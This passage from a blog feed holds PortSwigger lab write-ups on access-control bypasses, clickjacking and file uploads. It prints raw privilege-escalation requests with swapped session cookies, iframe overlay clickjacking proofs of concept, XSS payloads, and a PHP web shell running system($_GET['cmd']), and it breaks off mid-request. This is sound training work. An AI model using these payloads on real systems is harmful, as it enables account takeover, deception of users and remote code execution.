&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120221146.png&quot; alt=&quot;Pasted image 20251120221146.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Replace this cookie with &lt;code&gt;/admin-roles&lt;/code&gt; req endpoint cookie and ==try to upgrade carlos users using wiener&apos;s cookie==, but it says &lt;code&gt;401 unauthorized&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120221452.png&quot; alt=&quot;Pasted image 20251120221452.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we try &lt;code&gt;XPOST&lt;/code&gt; instead of &lt;code&gt;POST&lt;/code&gt; and toggle the request to &lt;code&gt;GET&lt;/code&gt; it worked and user will promoted,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120221710.png&quot; alt=&quot;Pasted image 20251120221710.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now to solve the lab, we can put out username which is &lt;code&gt;0xb14cky&lt;/code&gt; and after that we promoted to admin privileges and solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /admin-roles?username=0xb14cky&amp;amp;action=upgrade HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120221917.png&quot; alt=&quot;Pasted image 20251120221917.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120221953.png&quot; alt=&quot;Pasted image 20251120221953.png&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!summary]
The lab is vulnerable because the server blocks only &lt;code&gt;POST&lt;/code&gt;, so using an unknown method like &lt;code&gt;POSTX&lt;/code&gt; bypasses the check and still triggers the admin delete action.
Because HTTP servers don’t reject unknown verbs — the HTTP/1.1 RFC explicitly requires them to accept any method token. &lt;code&gt;&quot;Method names are case-sensitive tokens. Servers MUST be able to handle unknown methods.&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Lab 12: Multi-step process with no access control on one step&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120222426.png&quot; alt=&quot;Pasted image 20251120222426.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This lab has an admin panel with a flawed multi-step process for changing a user&apos;s role.&lt;/li&gt;
&lt;li&gt;You can familiarize yourself with the admin panel by logging in using the credentials &lt;code&gt;administrator:admin&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;To solve the lab, log in using the credentials &lt;code&gt;wiener:peter&lt;/code&gt; and exploit the flawed access controls to promote yourself to become an administrator.&lt;/li&gt;
&lt;li&gt;We logged in as admin,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120222538.png&quot; alt=&quot;Pasted image 20251120222538.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is user promotion request,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /admin-roles HTTP/1.1
Host: 0a0b001d0376ec1f819e666000d700a1.web-security-academy.net
Connection: keep-alive
Content-Length: 30
Cache-Control: max-age=0
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Origin: https://0a0b001d0376ec1f819e666000d700a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0b001d0376ec1f819e666000d700a1.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=iBQWLMIZ6Oa4opn17rkNuMAb31kIzrbk

username=wiener&amp;amp;action=upgrade
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;There is one intermediate confirmation page so we have to bypass that,&lt;/li&gt;
&lt;li&gt;Here is req of this,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120222753.png&quot; alt=&quot;Pasted image 20251120222753.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /admin-roles HTTP/1.1
Host: 0a0b001d0376ec1f819e666000d700a1.web-security-academy.net
Connection: keep-alive
Content-Length: 45
Cache-Control: max-age=0
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Origin: https://0a0b001d0376ec1f819e666000d700a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0b001d0376ec1f819e666000d700a1.web-security-academy.net/admin-roles
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=iBQWLMIZ6Oa4opn17rkNuMAb31kIzrbk

action=upgrade&amp;amp;confirmed=true&amp;amp;username=wiener
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;We simply again replace cookie of wiener with previous one and by send the req we solve the lab,&lt;/li&gt;
&lt;li&gt;There is one extra meter added which is &lt;code&gt;confirmed=true&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120223114.png&quot; alt=&quot;Pasted image 20251120223114.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;j93UDgIGL0w1aNHILJdm6yKYyGnYMXcm
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Cookie replaced, and by sending we solved the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Cookie: session=j93UDgIGL0w1aNHILJdm6yKYyGnYMXcm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120223140.png&quot; alt=&quot;Pasted image 20251120223140.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120223240.png&quot; alt=&quot;Pasted image 20251120223240.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 13: Referer-based access control&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120223307.png&quot; alt=&quot;Pasted image 20251120223307.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This lab controls access to certain admin functionality based on the Referer header. You can familiarize yourself with the admin panel by logging in using the credentials &lt;code&gt;administrator:admin&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;To solve the lab, log in using the credentials &lt;code&gt;wiener:peter&lt;/code&gt; and exploit the flawed access controls to promote yourself to become an administrator.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120223406.png&quot; alt=&quot;Pasted image 20251120223406.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is the  promotion req,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /admin-roles?username=carlos&amp;amp;action=upgrade HTTP/1.1
Host: 0a23006b03751b2f82317e77003700cf.web-security-academy.net
Connection: keep-alive
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a23006b03751b2f82317e77003700cf.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=eTKyIURujXUmmlLuCGQOI3JdlsTHCuBW
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now we login as wiener in private window and grep his cookies,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120223627.png&quot; alt=&quot;Pasted image 20251120223627.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;w6lav5K5TaPMf70tzPfAMt9M8QPZMsRx
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now we try to replace this in previous &lt;code&gt;/admin-roles/&lt;/code&gt;, and we remove the&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Referer: https://0a23006b03751b2f82317e77003700cf.web-security-academy.net/admin
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;we got &lt;code&gt;401 unauthorized&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120224128.png&quot; alt=&quot;Pasted image 20251120224128.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So after changing the username to &lt;code&gt;wiener&lt;/code&gt; and adding that Referer back and send this request will solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /admin-roles?username=wiener&amp;amp;action=upgrad
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120224504.png&quot; alt=&quot;Pasted image 20251120224504.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120224519.png&quot; alt=&quot;Pasted image 20251120224519.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>PortsWigger Clickjacking Labs - November 2025</title><link>https://fuwari.vercel.app/posts/portswigger-clickjacking/clickjacking/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/portswigger-clickjacking/clickjacking/</guid><description>Writeup of Clickjacking.</description><pubDate>Sun, 16 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Clickjacking&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112023200.png&quot; alt=&quot;Pasted image 20251112023200.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.&lt;/li&gt;
&lt;li&gt;Consider the following example:
&lt;ul&gt;
&lt;li&gt;A web user accesses a decoy website (perhaps this is a link provided by an email) and clicks on a button to win a prize.&lt;/li&gt;
&lt;li&gt;Unknowingly, they have been deceived by an attacker into pressing an alternative hidden button and this results in the payment of an account on another site.&lt;/li&gt;
&lt;li&gt;This is an example of a clickjacking attack.&lt;/li&gt;
&lt;li&gt;The technique depends upon the incorporation of an invisible, actionable web page (or multiple pages) containing a button or hidden link, say, within an &lt;code&gt;iframe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;iframe&lt;/code&gt; is overlaid on top of the user&apos;s anticipated decoy web page content.&lt;/li&gt;
&lt;li&gt;This attack differs from a &lt;a href=&quot;https://portswigger.net/web-security/csrf&quot;&gt;CSRF&lt;/a&gt; attack in that the user is required to perform an action such as a button click whereas a CSRF attack depends upon forging an entire request without the user&apos;s knowledge or input.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;It can be blocked by CSP&lt;/li&gt;
&lt;li&gt;Properly Configuring X-Frame-Options in Header&lt;/li&gt;
&lt;li&gt;Frame Buster Scripts which will bust the &lt;code&gt;iframe&lt;/code&gt; tag.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Lab 1 : Basic clickjacking with CSRF token protection&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251109213554.png&quot; alt=&quot;Pasted image 20251109213554.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First we will login with given creds,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wiener:peter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    iframe {
        position:relative;
        width:1500;
        height: 900;
        opacity: 0.5;
        z-index: 1;
    }
    div {
        position:absolute;
        top:540;
        left:240;
        z-index: 1;
    }
&amp;lt;/style&amp;gt;
&amp;lt;div&amp;gt;Click me&amp;lt;/div&amp;gt;
&amp;lt;iframe src=&quot;https://0adb00d6037a92268009dac600620081.web-security-academy.net/my-account&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After viewing the exploit, it looks like this&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110121903.png&quot; alt=&quot;Pasted image 20251110121903.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After reducing &lt;code&gt;opacity:0.0001&lt;/code&gt; it looks like this,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110122014.png&quot; alt=&quot;Pasted image 20251110122014.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110122900.png&quot; alt=&quot;Pasted image 20251110122900.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 2 : Clickjacking with form input data prefilled from a URL Parameter&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110182016.png&quot; alt=&quot;Pasted image 20251110182016.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Again as previous lab we have to login using given creds,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wiener:peter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110182152.png&quot; alt=&quot;Pasted image 20251110182152.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Difference between this and previous lab is that we can add email in GET request itself so we will fill our email in it and try to phish the victim to click on,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    iframe {
        position:relative;
        width:1500;
        height: 900;
        opacity: 0.5;
        z-index: 1;
    }
    div {
        position:absolute;
        top:540;
        left:240;
        z-index: 1;
    }
&amp;lt;/style&amp;gt;
&amp;lt;div&amp;gt;Click me&amp;lt;/div&amp;gt;
&amp;lt;iframe src=&quot;https://0a1a001903a367bc81a30cca00b000d2.web-security-academy.net/my-account?email=test@test.com&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I keep opacity 0.5 so we can how this looks like when email is filled and click button,&lt;/li&gt;
&lt;li&gt;other wise opacity will be 0.0001 so user can&apos;t see it&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110183445.png&quot; alt=&quot;Pasted image 20251110183445.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110182748.png&quot; alt=&quot;Pasted image 20251110182748.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110182801.png&quot; alt=&quot;Pasted image 20251110182801.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 3 : Clickjacking with a frame buster script&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110183038.png&quot; alt=&quot;Pasted image 20251110183038.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Again we will log in with given creds,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wiener:peter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110183200.png&quot; alt=&quot;Pasted image 20251110183200.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So if we try previous technique then it wont work simply,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110183547.png&quot; alt=&quot;Pasted image 20251110183547.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So we have to bypass this protection which is &lt;code&gt;frame buster&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    iframe {
        position:relative;
        width:1500;
        height: 900;
        opacity: 0.5;
        z-index: 1;
    }
    div {
        position:absolute;
        top:540;
        left:240;
        z-index: 1;
    }
&amp;lt;/style&amp;gt;
&amp;lt;div&amp;gt;Click me&amp;lt;/div&amp;gt;
&amp;lt;iframe sandbox=&quot;allow-forms&quot; src=&quot;https://0ab9005c04cc320681d5e3f50098008e.web-security-academy.net/my-account?email=test@test.com&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!note]
Notice the use of the &lt;code&gt;sandbox=&quot;allow-forms&quot;&lt;/code&gt; attribute that neutralizes the frame buster script.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;After doing this it works perfectly,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110184044.png&quot; alt=&quot;Pasted image 20251110184044.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110184208.png&quot; alt=&quot;Pasted image 20251110184208.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110184223.png&quot; alt=&quot;Pasted image 20251110184223.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 4 : Exploiting clickjacking vulnerability to trigger DOM-based XXS&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110184511.png&quot; alt=&quot;Pasted image 20251110184511.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110184612.png&quot; alt=&quot;Pasted image 20251110184612.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It has submit feedback functionality and this lab contains xxs so we have to first check whether it present in this form,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110184825.png&quot; alt=&quot;Pasted image 20251110184825.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name is reflecting so we can try XXS payloads here,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110184836.png&quot; alt=&quot;Pasted image 20251110184836.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I tried multiple payloads of XXS but it didn&apos;t work until one,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(0)&amp;lt;/script&amp;gt;&lt;/code&gt; - Failed&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(&quot;0&quot;)&amp;lt;/script&amp;gt;&lt;/code&gt; - Failed&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;img src=x onerror=alert(0)&amp;gt;&lt;/code&gt; - Works&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110185320.png&quot; alt=&quot;Pasted image 20251110185320.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110185330.png&quot; alt=&quot;Pasted image 20251110185330.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So now we will craft out clickjacking payload,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110191613.png&quot; alt=&quot;Pasted image 20251110191613.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;here is the whole URL which will goes into POC and we have to invoke &lt;code&gt;print()&lt;/code&gt; so we replace &lt;code&gt;onerror&lt;/code&gt; with that.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https://0ab4008404fd821e808c030a0007008f.web-security-academy.net/feedback?name=&amp;lt;img src=1 onerror=print()&amp;gt;&amp;amp;email=hacker@attacker-website.com&amp;amp;subject=test&amp;amp;message=test#feedbackResult
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    iframe {
        position:relative;
        width:1135;
        height: 600;
        opacity: 0.5;
        z-index: 2;
    }
    div {
        position:absolute;
        top:520;
        left:80;
        z-index: 1;
    }
&amp;lt;/style&amp;gt;
&amp;lt;div&amp;gt;Click me&amp;lt;/div&amp;gt;
&amp;lt;iframe src=&quot;https://0ab4008404fd821e808c030a0007008f.web-security-academy.net/feedback?name=%3Cimg%20src=1%20onerror=print()%3E&amp;amp;email=hacker@attacker-website.com&amp;amp;subject=test&amp;amp;message=test#feedbackResult&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110191807.png&quot; alt=&quot;Pasted image 20251110191807.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 5 : Multistap clickjacking&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110191837.png&quot; alt=&quot;Pasted image 20251110191837.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So again creds is given so we have to login with it,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wiener:peter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110192026.png&quot; alt=&quot;Pasted image 20251110192026.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I try to fill the email field by giving parameters in URL and it works, so we can use this whole url in clickjacking POC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110192303.png&quot; alt=&quot;Pasted image 20251110192303.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    iframe {
        position:relative;
        width:1135;
        height: 600;
        opacity: 0.5;
        z-index: 2;
    }
    .div1 {
        position:absolute;
        top:520;
        left:70;
        z-index: 1;
    }
    .div2 {
        position:absolute;
        top:310;
        left:200;
        z-index: 1;
    }
&amp;lt;/style&amp;gt;
&amp;lt;div class=&quot;div1&quot;&amp;gt;Click me first&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;div2&quot;&amp;gt;Click me next&amp;lt;/div&amp;gt;
&amp;lt;iframe src=&quot;https://0a3f00ef047ed58581834d2500a600c3.web-security-academy.net/my-account&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So there is nothing special but we have to just add two click me which is &lt;code&gt;Click me first&lt;/code&gt; and &lt;code&gt;Click me next&lt;/code&gt; for confirmation page.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110193010.png&quot; alt=&quot;Pasted image 20251110193010.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110192901.png&quot; alt=&quot;Pasted image 20251110192901.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110192853.png&quot; alt=&quot;Pasted image 20251110192853.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we will deliver the payload and it work!!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112020941.png&quot; alt=&quot;Pasted image 20251112020941.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>PortsWigger File upload vulnerabilities Labs - November 2025</title><link>https://fuwari.vercel.app/posts/portswigger-file-upload-vulnerabilities/file-upload-vulnerabilities/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/portswigger-file-upload-vulnerabilities/file-upload-vulnerabilities/</guid><description>Writeup of File upload vulnerabilities.</description><pubDate>Sun, 16 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;File upload vulnerabilities&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113005655.png&quot; alt=&quot;Pasted image 20251113005655.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size.&lt;/li&gt;
&lt;li&gt;Failing to properly enforce restrictions on these could mean that even a basic image upload function can be used to upload arbitrary and potentially dangerous files instead.&lt;/li&gt;
&lt;li&gt;This could even include server-side script files that enable remote code execution.&lt;/li&gt;
&lt;li&gt;In some cases, the act of uploading the file is in itself enough to cause damage.&lt;/li&gt;
&lt;li&gt;Other attacks may involve a follow-up HTTP request for the file, typically to trigger its execution by the server.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Lab 1: Remote code execution via web shell upload&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112232056.png&quot; alt=&quot;Pasted image 20251112232056.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To avail the upload functionality we have to log in using given creds &lt;code&gt;wiener:peter&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Here we can see avatar upload appears and we just have to upload basic &lt;code&gt;php webshell&lt;/code&gt; and get the &lt;code&gt;secret from carlos user&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112232310.png&quot; alt=&quot;Pasted image 20251112232310.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So tried to upload this basic PHP shell which uses &lt;code&gt;SYSTEM&lt;/code&gt; to execute commands, and capture that req,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;title&amp;gt;example webshell&amp;lt;/title&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;?php
			system($_GET[&apos;cmd&apos;]);
		?&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112232532.png&quot; alt=&quot;Pasted image 20251112232532.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /my-account/avatar HTTP/1.1
Host: 0aeb00e4030de4cc8158ed55003c00de.web-security-academy.net
Connection: keep-alive
Content-Length: 552
Cache-Control: max-age=0
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Origin: https://0aeb00e4030de4cc8158ed55003c00de.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRN2qajyTK7vyBV5r
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
